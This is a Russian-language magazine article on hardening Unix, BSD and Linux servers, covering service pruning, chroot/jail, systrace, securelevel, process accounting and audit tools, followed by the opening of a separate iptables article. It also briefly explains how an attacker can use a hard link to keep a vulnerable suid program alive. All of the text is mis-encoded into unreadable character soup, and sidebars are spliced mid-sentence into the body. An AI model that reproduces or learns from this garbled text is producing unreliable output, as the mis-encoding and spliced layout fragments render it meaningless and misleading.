÷åãî íîâîãî çäåñü ïðèäóìàòü íåëüçÿ -
îòêëþ÷àåì âñå, ÷òî íå íóæíî, ïðàâêîé
rc.conf â BSD, êîâûðÿíèåì â
/etc/init.d/ èëè /etc/rc.d/ - â Linux è
Solaris è ò.ä. Íåêîòîðûå äåìîíû ïî
óìîë÷àíèþ ñëóøàþò ñåòåâîé ñîêåò,
òîãäà êàê âïîëíå ìîãóò îáîéòèñü áåç
íåãî, íàïðèìåð, syslogd(8), êîòîðûé,
åñëè íåò íåîáõîäèìîñòè ïðèíèìàòü
ëîãè ïî ñåòè, ðåêîìåíäóåòñÿ çàïóñ-
êàòü ñ ôëàãîì -ss (secure mode).

Òå æå ñåðâèñû, ÷òî íàì íóæíû, òîæå
äîëæíû èìåòü êðåäèò äîâåðèÿ. Òóò òå-
áå íå Windows, è âûáîð ñðàâíèìûõ ïî
ôóíêöèîíàëüíîñòè äåìîíîâ èìååòñÿ.
Åñëè ñ ñèñòåìû íå ïëàíèðóåòñÿ ñäó-
âàòü ïûëèíêè, ïðåáûâàÿ â áîåâîé ãî-
òîâíîñòè ïðîïàò÷èòü, ñêàæåì, ïî÷òî-
âûé ñåðâåð ñðàçó, êàê òîëüêî âûéäåò
secuity advisory, òî âûáîð ñåðâèñîâ ñ
õîðîøåé ðåïóòàöèåé è îòñóòñòâèåì
èñòîðèè óÿçâèìîñòåé - ïåðâåéøåå äå-
ëî. Õîòÿ õîðîøèé àäìèí âñå ðàâíî
äîëæåí óìåòü áûñòðî ðåàãèðîâàòü
(áàãè íàõîäÿò âåçäå), íè÷òî íå ìåøàåò
åìó ñíèçèòü øàíñ ôîðñìàæîðà äî ìè-
íèìóìà (ãäå-òî âñå æå èõ íàõîäÿò ñó-
ùåñòâåííî ÷àùå). Íå áóäó ïðèçûâàòü
èñïîëüçîâàòü ÷òî-ëèáî êîíêðåòíîå,
íî åñëè òû íå çàêîí÷åííûé ôàíàò êà-
êîé-ëèáî îäíîé ïðîãðàììû ëèáî òåáå
íå íóæíà îñîáàÿ ôóíêöèîíàëüíîñòü
îïðåäåëåííîãî äåìîíà, òî çíàé, ÷òî
ãàðàíòèðîâàííî íå äîñòàâÿò òåáå ãî-
ëîâîé áîëè èç smtp-ñåðâåðîâ qmail è
postfix, èç ftp-ñåðâåðîâ - vsftpd, pureft-
pd è publicfile, èç DNS-ñåðâåðîâ -
djbdns, èç pop3-ñåðâåðîâ - âñå òîò æå
qmail è popa3d. Âïðî÷åì, èñòîðèÿ ïî-
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Ïðè æåëà-
íèè ÿäðî
ìîæíî óá-
ðàòü â ÿùèê
â ïðÿìîì
ñìûñëå ñëî-
âà :).

Áåçîïàñ-
íîñòü - ýòî
íå ïðîäóêò,
à ïðîöåññ.

Òàêàÿ ñ âèäó áåçîáèäíàÿ âåùü, êàê õàðäëèíê, ìîæåò ñòàòü ïðè-
÷èíîé êîìïðîìåòàöèè ñèñòåìû. Ïðåäñòàâü, ÷òî â ñèñòåìå åñòü íåêàÿ
ñóèäíàÿ ïðîãðàììà. Ïðàâà íà íåå, êàê íà ëþáîé èñïîëíÿåìûé
ôàéë, 755. Çàòåì â ïðîãðàììå íàøëè äûðó, ïîçâîëÿþùóþ ñ åå ïî-
ìîùüþ ïîëó÷èòü ëîêàëüíîãî ðóòà. Òû âîâðåìÿ îáíîâèëñÿ, íî ÷åðåç
ïàðó äíåé òåáÿ âñå ðàâíî õàêíóëè. Êàê?

Ïîñìîòðè ïîëíûé âûâîä êîìàíäû ls:

[(3:47)(85.32%)(p3):~ ] ls -al rfc2818.txt
-rw-r--r--  1 toxa  toxa  15170 15 èþë 19:54 rfc2818.txt

Âòîðîå ïîëå, ñðàçó ïîñëå ïðàâ äîñòóïà, - êîëè÷åñòâî æåñòêèõ ññû-
ëîê íà ôàéë. Â äàííîì ñëó÷àå ññûëêà îäíà - ñàì ôàéë, è, åñëè ÿ åãî
óäàëþ, îí èñ÷åçíåò. Íî åñëè ññûëîê áîëüøå, ïðè óäàëåíèè ôàéëà
(êîìàíäîé rm) îí íå óäàëèòñÿ, à ëèøü óìåíüøèò ñ÷åò÷èê ññûëîê íà
åäèíèöó, îñòàâèâ ñâîþ æåñòêóþ êîïèþ. Ïîëíîå ñòèðàíèå ôàéëà
âîçìîæíî òîëüêî ïðè îáíóëåíèè ñ÷åò÷èêà õàðäëèíêîâ.

Âçëîìùèê ñîçäàë æåñòêóþ ññûëêó ïðîãðàììû â ñâîé êàòàëîã, çà-
òåì â íåé áûëà îáíàðóæåíà óÿçâèìîñòü, òû, êàê òåáå êàçàëîñü, óäà-
ëèë äûðÿâóþ âåðñèþ ïðîãðàììû, çàìåíèâ åå íîâîé, íî íà ñàìîì äå-
ëå â êàòàëîãå âçëîìùèêà îñòàëàñü ïåðâîíà÷àëüíàÿ âåðñèÿ ïðîã-
ðàììû, êîòîðàÿ íèêóäà ñ äèñêà íå äåëàñü. Ïîñëå ÷åãî îí è ïîýê-
ñïëóàòèðîâàë óÿçâèìîñòü.

Ïî÷åìó æå ïðîñòî íå ñêîïèðîâàòü ïðîãðàììó ñåáå â êàòàëîã? À ïî-
òîìó, ÷òî ïîòåðÿþòñÿ ïåðâîíà÷àëüíûå ïðàâà íà ôàéë è âëàäåëü-
öåì âìåñòî ðóòà ñòàíåò õàêåð, ïîñëå ÷åãî íàëè÷èå íà íåé suid-áèòà
ñòàíåò áåññìûñëåííûì.

ÁÎÉÑß ÆÅÑÒÊÈÕ ÑÑÛËÎÊ



êàçûâàåò, ÷òî îïûòíûå àäìèíû, êàê
ïðàâèëî, êîíñåðâàòèâíûå ôàíàòû îï-
ðåäåëåííîãî êðóãà ïðîãðàìì è ïðåä-
ïî÷òóò ïàò÷èòü ñâîå äåòèùå ðàç â íå-
äåëþ, ÷åì ïåðåéòè íà àëüòåðíàòèâíûé
ïðîäóêò ;).

Îòäåëüíî õî÷åòñÿ ñêàçàòü ïðî "ñó-
ïåðñåðâåðû" inetd è xinetd. Îíè ñóùå-
ñòâóþò äëÿ ïîääåðæêè äåìîíîâ, êîòî-
ðûå íå óìåþò çàïóñêàòüñÿ â òàê íàçû-
âàåìîì standalone-ðåæèìå, òî åñòü
ïðèíèìàòü ñåòåâûå ñîåäèíåíèÿ, ñà-
ìîñòîÿòåëüíî îãðàíè÷èâàòü êîëè÷å-
ñòâî îäíîâðåìåííûõ ñåññèé, èñïîëü-
çîâàòü âîçìîæíîñòè tcp-wrappers è
ò.ï. Â òàêîì ñëó÷àå inetd/xinetd âûñòó-
ïàþò â êà÷åñòâå ïîñðåäíèêà ìåæäó
êëèåíòîì è ñåðâåðîì, ðåàëèçóÿ âû-
øåîïèñàííûå âîçìîæíîñòè. Ïðè âñåì
óäîáñòâå "ñóïåðñåðâåðîâ" èõ èäåÿ íå
êàæåòñÿ ìíå çàìå÷àòåëüíîé. Âî-ïåð-
âûõ, åñëè "ïîëîæèòü" inetd DoS-àòà-
êîé èëè ýêñïëîèòîì, òî óïàäóò è âñå
îáñëóæèâàåìûå èì äåìîíû. Âî-âòî-
ðûõ, áîëüøèíñòâî èñïîëüçóåìûõ äëÿ
ðàáîòå â àãðåññèâíîì èíòåðíåòå ñåð-
âèñîâ óìåþò ñàìîñòîÿòåëüíî îòðàáà-
òûâàòü ïî÷òè âñå, ÷òî ïðåäëàãàåò
inetd. "Ñóïåðñåðâåð" - ýòî ñëîæíàÿ
ñèñòåìà, òàê ÷òî ëó÷øå íå èñïîëüçî-
âàòü åå òàì, ãäå áåç íåå ìîæíî îáîé-
òèñü. Ãóðó áåçîïàñíîãî ïðîãðàììèðî-
âàíèÿ Äýí Áåðíñòåéí ïðåäëàãàåò
ñâîé âàðèàíò ïîä íàçâàíèåì tcpserv-
er (ucsp-tcp), ÷àñòè÷íî âûïîëíÿþùèé
ôóíêöèè inetd. Åñëè åñòü íåîáõîäè-
ìîñòü çàïóñòèòü ïðîãðàììó, òðåáóþ-
ùóþ inetd, ìîæíî âîñïîëüçîâàòüñÿ
tcpserver, êîòîðûé ÷àñòè÷íî èçáàâëÿ-
åò îò íåóäîáñòâ inetd.

Êàêèì áû áåçîïàñíûì íè áûë äåìîí,
ñóùåñòâóþò ìåõàíèçìû, ïîçâîëÿþ-
ùèå àäìèíèñòðàòîðàì åùå êðåï÷å
ñïàòü ïî íî÷àì. Ïðîöåññ, âçàèìîäåé-
ñòâóþùèé ñ ïîëüçîâàòåëåì, äîëæåí
èñïîëíÿòüñÿ îò èìåíè íåïðèâèëåãèðî-
âàííîãî ïîëüçîâàòåëÿ. È ïðàâäà, ñå-
ãîäíÿ íàéòè apache èëè named, çàïó-
ùåííûé îò ðóòà, äîâîëüíî ñëîæíî ;-).
Ïîìèìî ýòîãî êàæäûé äåìîí ìîæíî
èçîëèðîâàòü â åãî ñîáñòâåííîé ñðåäå.
Îáðàçíî, âñå íåîáõîäèìûå äëÿ ðàáî-
òû äåìîíà ôàéëû è áèáëèîòåêè êîïè-
ðóþòñÿ â èçìåíåííûé êîðíåâîé êàòà-
ëîã, è çàòåì â ïîëó÷èâøóþñÿ èåðàð-
õèþ âûïîëíÿåòñÿ ñèñòåìíûé âûçîâ
chroot(2). Ñ òî÷êè çðåíèÿ äåìîíà, îí

ðàáîòàåò â íîðìàëüíîé ñðåäå, âåäü
âñå íåîáõîäèìûå äëÿ íåãî ôàéëû
ïðèñóòñòâóþò, çàòî âçëîìùèê, ïîëó-
÷èâ êîíòðîëü íàä äûðÿâûì ñåðâèñîì,
áóäåò íå â ñîñòîÿíèè äàæå ïîëó÷èòü
shell, òàê êàê /bin/sh ìîæåò ïðîñòî îò-
ñóòñòâîâàòü â chroot-äèðåêòîðèè. Âî
FreeBSD ýòó èäåþ ðàçâèëè, è ïðèñóò-
ñòâóþùèé òàì ñèñòåìíûé âûçîâ è óòè-
ëèòà jail(8) ñîâìåñòíî ñ óäîáíûì óï-
ðàâëåíèåì ÷åðåç sysctl-ïåðåìåííûå
ïîçâîëÿþò óäîáíî çàñàäèòü äåìîíà
"çà ðåøåòêó", èç áëàãèõ ïîáóæäåíèé. 

Åùå îäíî âåÿíèå ýïîõè ïàðàíîèêîâ
- îòñëåæèâàíèå ñèñòåìíûõ âûçîâîâ,
ñîâåðøàåìûõ ïðîãðàììîé, è äàëüíåé-
øåå èõ îãðàíè÷åíèå. Ëþáîå äåéñòâèå
ïðîãðàììû (òàêîå, êàê ÷òåíèå ôàéëà
èëè îòêðûòèå ñåòåâîãî ñîêåòà) - ýòî
ñèñòåìíûé âûçîâ ÿäðó ÎÑ. Çíà÷èò,
ìîæíî îãðàíè÷èòü íàáîð ëåãèòèìíûõ
âûçîâîâ äëÿ êàæäîé ïðîãðàììû.
Äåéñòâèòåëüíî, çà÷åì DNS-ñåðâåðó
áèíäèòü êàêîé-ëèáî ëîêàëüíûé ïîðò,
êðîìå 53-ãî, äëÿ ïðèåìà âõîäÿùèõ
çàïðîñîâ? Ìåõàíèçì systrace
(www.citi.umich.edu/u/provos/systrace), ïðèñó-
òñòâóþùèé â ñòàíäàðòíîé ïîñòàâêå
OpenBSD è NetBSD, à òàêæå ïîðòèðî-
âàííûé íà îñòàëüíûå ïëàòôîðìû, çà-
íèìàåòñÿ òåì, ÷òî îòñëåæèâàåò ñèñ-
òåìíûå âûçîâû ïðîãðàìì è ñîïîñòàâ-
ëÿåò èõ ñ óêàçàííîé ïîëèòèêîé. Ëþ-
áûå àíîìàëèè ïðîòîêîëèðóþòñÿ, è ñî-
îòâåòñòâóþùèé ñèñòåìíûé âûçîâ çàï-
ðåùàåòñÿ. Â èäåàëå ýòî îçíà÷àåò, ÷òî
shell-êîäó ìîæíî ïîìàõàòü ïëàòî÷êîì.

Íàêîíåö, íå òîëüêî áåñïîëåçíûå
ñåðâèñû ñëåäóåò óáèðàòü èç ñèñòåìû.
Çà÷åì, íàïðèìåð, íà íàñòðîåííîé è
ðàáîòàþùåé ìàøèíå êîìïèëÿòîð èëè
äèçàññåìáëåð? ×òîáû âçëîìùèêó áû-
ëî ëåã÷å ñêîìïèëèòü è ïðèìåíèòü
ñïëîèò? Ìíîãèå äèñòðèáóòèâû Linux
ïðàêòèêóþò èñêëþ÷èòåëüíî binary
upgrade, òàê ÷òî êîìïèëÿòîð òàì ìî-
æåò âîîáùå íå ïîíàäîáèòüñÿ. 

ßÄÐÎ. ÁÅÇ ÏÀÍÈÊÈ
Îáåçîïàñèâ ñâîè ñåðâèñû, îáðà-

òèì âçîð ê ÿäðó. Òàê êàê îáûêíîâåí-
íàÿ ïîäìåíà ñèñòåìíûõ óòèëèò â äâà
ñ÷åòà äåòåêòèòñÿ ñèñòåìîé êîíòðîëÿ
öåëîñòíîñòè, òî áåç âàðèàöèé íà òåìó

ìîäóëüíîãî ðóòêèòà íå îáõîäèòñÿ íè
îäèí ñåðüåçíûé õàêåð. Íå òàê óæ ýòî
è ñòðàøíî. Ñàìîå ïðîñòîå - ñîáðàòü
ÿäðî áåç ïîääåðæêè ìîäóëåé. Äëÿ
FreeBSD ñóùåñòâóåò ïàò÷, ïîçâîëÿþ-
ùèé ñîáðàòü ÿäðî ñ îïöèåé NO_KLD
(people.freebsd.org/~cjc - íå ñàìûé,
ïðàâäà, ñâåæèé). Â Linux äîñòàòî÷íî
ïðîñòî íå óêàçûâàòü ñîîòâåòñòâóþ-
ùóþ îïöèþ CONFIG_MODULES=n. Ê
íåñ÷àñòüþ, ìíîãèå ïðîèçâîäèòåëè æå-
ëåçà ïðåäîñòàâëÿþò äðàéâåðà äëÿ
ñâîåé ïðîäóêöèè â âèäå ïîäãðóæàå-
ìûõ ìîäóëåé, èñêëþ÷èòåëüíî â áèíàð-
íîì âèäå. Â BSD ýòó, à çàîäíî è ìíî-
ãèå äðóãèå ïðîáëåìû, ñíèìàåò kernel
securelevel(8). Â ìíîãîïîëüçîâàòåëüñ-
êîì ðåæèìå îí ìîæåò ïðèíèìàòü çíà-
÷åíèÿ -1, 1, 2 è 3. 

-1 - íå íàêëàäûâàåò íèêàêèõ îãðàíè-
÷åíèé ("íåáåçîïàñíûé ðåæèì"). Ïî
óìîë÷àíèþ ñèñòåìà çàïóñêàåòñÿ ñ òà-
êèì çíà÷åíèåì;

1 - "áåçîïàñíûé ðåæèì", çàïðåùàåò
ñíÿòèå ôëàãîâ immutable è append-
only äàæå root'ó, çàïðåùàåò ïèñàòü â
ïàìÿòü ÿäðà èëè ñîâåðøàòü ïðèâèëå-
ãèðîâàííûå îïåðàöèè ââîäà/âûâîäà
íà óðîâíå ÿäðà (/dev/mem,
/dev/kmem, /dev/io), çàïðåùàåò çàã-
ðóçêó/âûãðóçêó ìîäóëåé ÿäðà;

2 - "î÷åíü áåçîïàñíûé ðåæèì", íàñ-
ëåäóåò âñå âîçìîæíîñòè ïðåäûäóùå-
ãî ðåæèìà, à òàêæå íå ïîçâîëÿåò íè-
÷åãî ïèñàòü íà ïðèìîíòèðîâàííûå
ôàéëîâûå ñèñòåìû; 

3 (ïðèñóòñòâóåò âî FreeBSD) - "ñåòå-
âîé áåçîïàñíûé ðåæèì", íàñëåäóåò
âîçìîæíîñòè áåçîïàñíîãî, à òàêæå íå
ïîçâîëÿåò ìåíÿòü êîíôèãóðàöèþ ïðà-
âèë ïàêåòíîãî ôèëüòðà (óäàëÿòü èëè
äîáàâëÿòü ïðàâèëà).

Çíà÷åíèå securelevel âûñòàâëÿåòñÿ
óòèëèòîé sysctl (ïåðåìåííàÿ
kern.securelevel) ïîñëå çàïóñêà ñèñòå-
ìû è çàãðóçêè âñåõ ìîäóëåé è äåìî-
íîâ è âî âðåìÿ ðàáîòû ñèñòåìû ìîæåò
áûòü òîëüêî óâåëè÷åíî. Ïðàêòè÷åñêè
âñåãäà ñåðâåð áåç ãðàôè÷åñêîé ñèñòå-
ìû X-Window èëè ïðî÷åé ýêçîòèêè
îáÿçàí áåç ïðîáëåì ðàáîòàòü ñî çíà-
÷åíèåì kern.securelvel=1; åñëè æå îí
ïî ñîâìåñòèòåëüñòâó ÿâëÿåòñÿ ôàåð-
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Èçíà÷àëü-
íûé ïîäñ-
÷åò êîíò-
ðîëüíûõ
ñóìì (MD5-
õýøåé) ñèñ-
òåìíûõ
óòèëèò è
ôàéëîâ è
äàëüíåéøàÿ
èõ ïðîâåðêà
ñ ïîìîùüþ
óòèëèò òèïà
tripwire èëè
aide ìîæåò
èçáàâèòü îò
ñèëüíîé ãî-
ëîâíîé áîëè
â äàëüíåé-
øåì. Â ñëó-
÷àå èçìåíå-
íèÿ ôàéëà
óòèëèòà
íàéäåò ðàñ-
õîæäåíèå â
MD5-îòïå-
÷àòêå è
ïîäíèìåò
òðåâîãó.

ÁÅÇÎÏÀÑÍÎÑÒÜ ÑÅÐÂÅÐÀ72 ÇÀÙÈÒÀ

Åñëè çàãëÿíóòü â /etc/shadow (/etc/master.passwd â BSD), òî
ìîæíî óâèäåòü ìàññó ñèñòåìíûõ ó÷åòíûõ çàïèñåé, íî âñå îíè
çàëî÷åíû - â ïîëå ïàðîëÿ âìåñòî õýøà ó íèõ ñèìâîë "*" èëè "!!", à
âìåñòî øåëëà - ÷òî-òî âðîäå /sbin/nologin èëè /bin/false. Åñëè ó
ñèñòåìíîãî ïîëüçîâàòåëÿ (íå ðåàëüíîãî þçåðà) òû óâèäèøü
ïðîïèñàííûé ðåàëüíûé øåëë è õýø ïàðîëÿ, áåé òðåâîãó.

ÑËÅÄÈ ÇÀ ÏÀÐÎËßÌÈ

Process accounting â äåéñòâèè

Êàêèì áû áåçîïàñíûì íè áûë äåìîí,
ñóùåñòâóþò ìåõàíèçìû, ïîçâîëÿþùèå

àäìèíèñòðàòîðàì åùå êðåï÷å ñïàòü ïî íî÷àì.



Õàðäëèíêè
ðàáîòàþò
òîëüêî â
ïðåäåëàõ
îäíîé ôàé-
ëîâîé ñèñ-
òåìû (îäíîé
ïàðòèöèè).

âîëîì ñ ïîñòîÿííûì íàáîðîì ïðàâèë
ôèëüòðàöèè, òî ñî çíà÷åíèåì
kern.securelvel=3. Î÷åíü ìíîãèå ïðå-
íåáðåãàþò ýòî ïîëåçíîé âîçìîæ-
íîñòüþ, à âåäü â òàêîì ñëó÷àå, ÷òîáû
çàãðóçèòü âðåäîíîñíûé ìîäóëü èëè
äîáàâèòü ñâîå ïðàâèëî â öåïî÷êó ïà-
êåòíîãî ôèëüòðà, âçëîìùèêó ïðèäåò-
ñÿ ïåðåçàãðóçèòü ìàøèíó, ÷òî íå ìî-
æåò îñòàòüñÿ íåçàìå÷åííûì.

Ïîìíèòñÿ, îäèí èçâåñòíûé â îïðå-
äåëåííûõ êðóãàõ õàêåð âðåìåííî çà-
ëî÷èë ìíå àêêàóíò íà åãî FreeBSD-
áîêñå, ìîòèâèðîâàâ ýòî òåì, ÷òî "òàì
ñåé÷àñ êðóòèòñÿ ìíîãî âàæíûõ ïðî-
öåññîâ", âèäèìî, îïàñàÿñü êîìàíäû
"ps -a" ñ ìîåé ñòîðîíû. Îäíàêî åñëè
áû îí çíàë î ñóùåñòâîâàíèè sysctl-
ïåðåìåííîé kern.ps_showallprocs
(security.bsd.see_other_uids äëÿ
FreeBSD 5), òî, âîçìîæíî, íå ñòàë áû
ïðèíèìàòü ñòîëü êðàéíèå ìåðû. Âûñ-
òàâëåíèå ýòîé ïåðåìåííîé â 0 ïîçâî-
ëèò ïîëüçîâàòåëÿì ëþáîâàòüñÿ ñïèñ-
êîì èñêëþ÷èòåëüíî ñâîèõ ïðîöåññîâ,
ñêðûâàÿ ÷óæèå. Ýòî íåçàìåíèìî íà
õîñòèíãàõ, ãäå ìíîãî ïîëüçîâàòåëåé
èìåþò shell-àêêàóíò.

×àñòî õàêåðû çàïóñêàþò íà âçëî-
ìàííîé ìàøèíå ñíèôåð, îñîáåííî
åñëè ýòà ìàøèíà - ïîãðàíè÷íûé
ìàðøðóòèçàòîð, ÷åðåç êîòîðûé ïðî-
õîäèò âåñü òðàôèê. Â Linux äëÿ ýòîãî
íåîáõîäèìà áèáëèîòåêà libpcap, à
âîò â BSD ïàêåòû ëîâÿòñÿ ÷åðåç
ïñåâäîóñòðîéñòâî bpf(4) (berkeley
packet filter), âêîìïèëèðîâàííîå â
ÿäðî èëè çàãðóæåííîå êàê ìîäóëü.
×àñòî îòñóòñòâèå bpf(4) â ñèñòåìå (â
ëþáîì âèäå) ìîæåò áûòü îïðàâäàíî
ñ òî÷êè çðåíèÿ áåçîïàñíîñòè. Áåç
íåãî ñíèôèíã ïàêåòîâ â BSD íåâîç-
ìîæåí. Íî, ïðàâäà, íåâîçìîæíà è,
íàïðèìåð, êîððåêòíàÿ ðàáîòà ïàêåò-
íîãî ôèëüòðà OpenBSD PF, òàê ÷òî
âñåãäà åñòü èñêëþ÷åíèÿ. 

Åùå îäíà âåùü, êîòîðàÿ ìîæåò ïî-
ìî÷ü ïðè ðàññëåäîâàíèè èíöèäåíòîâ,
äà è âîîáùå ïîëåçíà â êà÷åñòâå êîíò-
ðîëÿ çà ñèñòåìîé, ýòî àêêàóíòèíã ïðî-
öåññîâ (âî FreeBSD âêëþ÷àåòñÿ óñòà-
íîâêîé ïåðåìåííîé
accounting_enable="YES" â
/etc/rc.conf, â Linux -
CONFIG_BSD_PROCESS_ACCT=y â êîí-
ôèãå ÿäðà). Áóäó÷è âêëþ÷åííûì, îí
ïðîòîêîëèðóåò â /var/account/acct (â
Linux - /var/log/pacct) çàïóñê âñåõ
ïðîöåññîâ, ïîçâîëÿÿ ïîñìîòðåòü, êîã-
äà, ÷òî è îò èìåíè êàêîé ó÷åòíîé çà-
ïèñè áûëî çàïóùåíî (lastcomm(1)), à

òàêæå ïîçâîëÿåò âûäàòü ñòàòèñòèêó
ïî âûïîëíåííûì ïðîöåññàì (sa(8)).

ÀÓÄÈÒ ÑÈÑÒÅÌÛ
Õîðîøàÿ ñèñòåìà äîëæíà òðåáî-

âàòü ìèíèìóì âíèìàíèÿ. Â èäåàëå,
îêîëî òðåõ ñåêóíä â äåíü - ðîâíî
ñòîëüêî íóæíî âðåìåíè, ÷òîáû ïðîáå-
æàòü ãëàçàìè åæåäíåâíûé îò÷åò è
óáåäèòüñÿ â îòñóòñòâèè àíîìàëèé. Â
îò÷åò äîëæíû âêëþ÷àòüñÿ êàê ìèíè-
ìóì ìîíèòîðèíã ñîçäàíèÿ íîâûõ ó÷åò-
íûõ çàïèñåé (åñëè âçëîìùèê èìåë íå-
îñòîðîæíîñòü äîáàâèòü ïîëüçîâàòåëÿ
èëè ñìåíèòü ïàðîëü ñóùåñòâóþùåìó,
òû ýòî çàìåòèøü), ïîÿâëåíèå íîâûõ
ñóèäíûõ ïðîãðàìì, êîëè÷åñòâî çàáëî-
êèðîâàííûõ ôàåðâîëîì ïàêåòîâ è êî-
ëè÷åñòâî ïîïûòîê íåóäà÷íîãî âõîäà â
ñèñòåìó. Âñå ýòè ìåðû ïðèçâàíû îáíà-
ðóæèòü àòàêè íà ðàííåé èõ ñòàäèè. Â
BSD ïîäîáíûé îò÷åò ãåíåðèðóåòñÿ ïî
óìîë÷àíèþ, óòèëèòîé periodic(8). Ïî
ñóòè, îíà âûïîëíÿåò ïîñëåäîâàòåëü-
íîñòü ñêðèïòîâ, çàïóñêàÿñü ïî ðàñïè-
ñàíèþ èç crontab(1), ðåçóëüòàò ðàáîòû
ñâàëèâàåòñÿ àäìèíèñòðàòîðó â ïî÷òó.
Â /etc/periodic.conf ìîæíî îïðåäåëèòü
óêàçàííûå â /etc/defaults/periodic.conf
îïöèè ñîñòàâëåíèÿ îò÷åòà - ïîìèìî
ðåïîðòà periodic(8) ìîæåò âûïîëíÿòü
ñêðèïòû î÷èñòêè /tmp, áýêàïà âàæíûõ
ôàéëîâ è ò.ï.

Ïîìèìî ñàìîé ñèñòåìû óÿçâèìîñòè
íàõîäÿò è â ñîôòå, èíñòàëëèðóåìîì
èç ïàêåòîâ/ïîðòîâ. Ïîëåçíî, êîíå÷íî,
÷èòàòü àäâàéçîðè îò âåíäîðîâ, íî íà-
èáîëåå óäîáíûé ñïîñîá - ïîëîæèòüñÿ
íà àâòîìàòèçèðîâàííûé àóäèò áåçî-
ïàñíîñòè. Òàê, âî FreeBSD èìååòñÿ
óòèëèòà portaudit (/usr/ports/securi-
ty/portaudit). Îíà ñêà÷èâàåò áàçó óÿç-
âèìîñòåé è àíàëèçèðóåò óñòàíîâëåí-
íûå ïàêåòû íà ïðåäìåò ïðèñóòñòâèÿ
èõ â òåêóùåì ñïèñêå ïðîáëåìíûõ
ïðîãðàìì. 

Ïðîïèøè ñêà÷èâàíèå ñâåæåé áàçû â
crontab(5) (êîððåêòíåå: óñòàíîâè
daily_status_security_portaudit_enable=
"YES" â /etc/periodic.conf) è ëþáóéñÿ
åæåäíåâíûìè îò÷åòàìè.

ÍÅÒÐÀÄÈÖÈÎÍÍÛÅ ÌÅÒÎÄÛ 
Åñëè òû çàìåòèë, BSD áîëüøå ïîä-

õîäèò äëÿ îðãàíèçàöèè çàùèùåííîé
ñèñòåìû â ðàìêàõ êëàññè÷åñêîé ìîäå-
ëè áåçîïàñíîñòè UNIX. Òîìó ñïîñîá-
ñòâóþò êàê çàùèòíûå ìåõàíèçìû ñèñ-
òåìû (kernel securelevel, jail, systrace),
òàê è ñðåäñòâà àóäèòà (accounting,
periodic), äîñòóïíûå, ÷òî íàçûâàåòñÿ,

"èç êîðîáêè". Íî ìîæíî ïîéòè äàëüøå
è ðàäèêàëüíî ïîìåíÿòü ñàìó ìîäåëü
çàùèòû, âìåñòî òðàäèöèîííîé äèñêðå-
öèîííîé ìîäåëè äîñòóïà ïðèìåíèâ
îäíó èç ìàíäàòíûõ ìîäåëåé. Ýòî óæå
ñåðüåçíî è òðåáóåò õîòÿ áû ïîâåðõíî-
ñòíîãî çíàêîìñòâà ñ ìîäåëÿìè áåçî-
ïàñíîñòè. È çäåñü âûèãðûâàåò Linux,
äëÿ êîòîðîãî ñóùåñòâóþò òàêèå ïðî-
åêòû, êàê RSBAC (www.rsbac.org) è
SELinux (www.nsa.gov/selinux). Îíè äåëàþò
èç Linux ìîùíóþ ñèñòåìó ñ ïîääåðæ-
êîé Role Based Access Control (RBAC),
Domain Type Enforcement (DTE) è êó÷åé
äðóãîãî. Âî FreeBSD 5, ïðàâäà, òîæå ïî-
ÿâèëàñü âîçìîæíîñòü êîíòðîëÿ äîñòó-
ïà ïî ðàñøèðåííûì àòðèáóòàì ôàéëîâ
(Mandatory Access Control), íî ýòî êàï-
ëÿ â ìîðå. Ìàíäàòíûå ìîäåëè äîñòóïà -
îòäåëüíàÿ, ñåðüåçíàÿ òåìà, ñëîæíàÿ â
ðåàëèçàöèè ïðèìåíèòåëüíî ê êîíêðåò-
íîìó production ñåðâåðó è òðåáóþùàÿ
âíèìàòåëüíîé ýêñïëóàòàöèè.

Íàïîñëåäîê ïðîöèòèðóþ èçâåñòíóþ
ôðàçó: "If you fuck up OpenBSD it gets
unsecure. Linux must be fucked up to
be secure. Windows must be secure
erased to be secure" ("Åñëè òû áóäåøü
òðàõàòü OpenBSD, îíà ñòàíåò íåáåçî-
ïàñíîé. Ñ Ëèíóêñîì íóæíî ïîòðàõàòü-
ñÿ, ÷òîáû îí ñòàë áåçîïàñíûì. À
Windows íóæíî óäàëèòü, ÷òî áû îíà
ñòàëà áåçîïàñíûì."). Äîëÿ ïðàâäû â
íåé åñòü, íî ïîìíè, ÷òî ãëàâíîå äëÿ
áåçîïàñíîñòè ñèñòåìû - íå îïåðàöè-
îíêà, à òîò, êòî åé óïðàâëÿåò. E
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Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Ô àåðâîë � íåîòúåìëåìàÿ ÷àñòü *nix-ñèñòåìû. Íî, êàê ëþáîé ïðîãðàììíûé ïðîäóêò, îí íóæäàåòñÿ â òùàòåëüíîé
íàñòðîéêå. Ñåé÷àñ ÿ ðàññêàæó î òîì, êàê ãðàìîòíî çàùèòèòü ñâîé ñåðâåð ñ ïîìîùüþ ñåòåâîãî ýêðàíà iptables.

Ýòîò ôàåðâîë ÿâëÿåòñÿ ñàìûì ïðîñòûì è íàäåæíûì, ïîýòîìó ðåêîìåíäóþ îçíàêîìèòüñÿ ñ ýòèì ìàòåðèàëîì.

ÂÛÆÌÈ ÂÑÅ
ÈÇ ÔÀÅÐÂÎËÀ!
ÎÑÍÎÂÍÛÅ È ÄÎÏÎËÍÈÒÅËÜÍÛÅ ÂÎÇÌÎÆÍÎÑÒÈ IPTABLES

ðàìîòíûé àäìèí íèêîã-
äà íå çàáóäåò óñòàíî-
âèòü ôàåðâîë íà ñâîþ
ìàøèíó. Âåäü áðàíäìà-
óýð ïîçâîëÿåò ðåøàòü

ìíîæåñòâî âàæíûõ çàäà÷. Â ïåðâóþ
î÷åðåäü, îí «çàáîòèòñÿ» î ñåòåâîé áå-
çîïàñíîñòè, ôèëüòðóÿ õàêåðñêèå ïà-
êåòû. Ïðè æåëàíèè ìîæíî çàìóòèòü è
ëîêàëüíóþ áåçîïàñíîñòü, çàïðåòèâ
þçåðàì âûêà÷èâàòü ïîðíîôèëüìû è
âàðåçíûå ïðîãðàììû. Òàêæå ñ ïî-
ìîùüþ ñåòåâîãî ýêðàíà ðåàëüíî ïîä-
íÿòü NAT (Network Address
Translation), ïîçâîëÿþùèé ëîêàëüíûì
ìàøèíàì ïîëíîöåííî þçàòü ðåñóðñû
èíòåðíåòà.

ÇÀÊÐÎÅÌÑß
ÎÒ ÂÍÅØÍÈÕ ÂÐÀÃÎÂ

Åñëè òû ðàáîòàë ñ iptables, òî
çíàåøü ïðèíöèï äåéñòâèÿ ýòîãî ôà-
åðâîëà. Îí ñîäåðæèò íåñêîëüêî òàá-
ëèö, â êàæäîé èç êîòîðûõ ìîãóò íà-
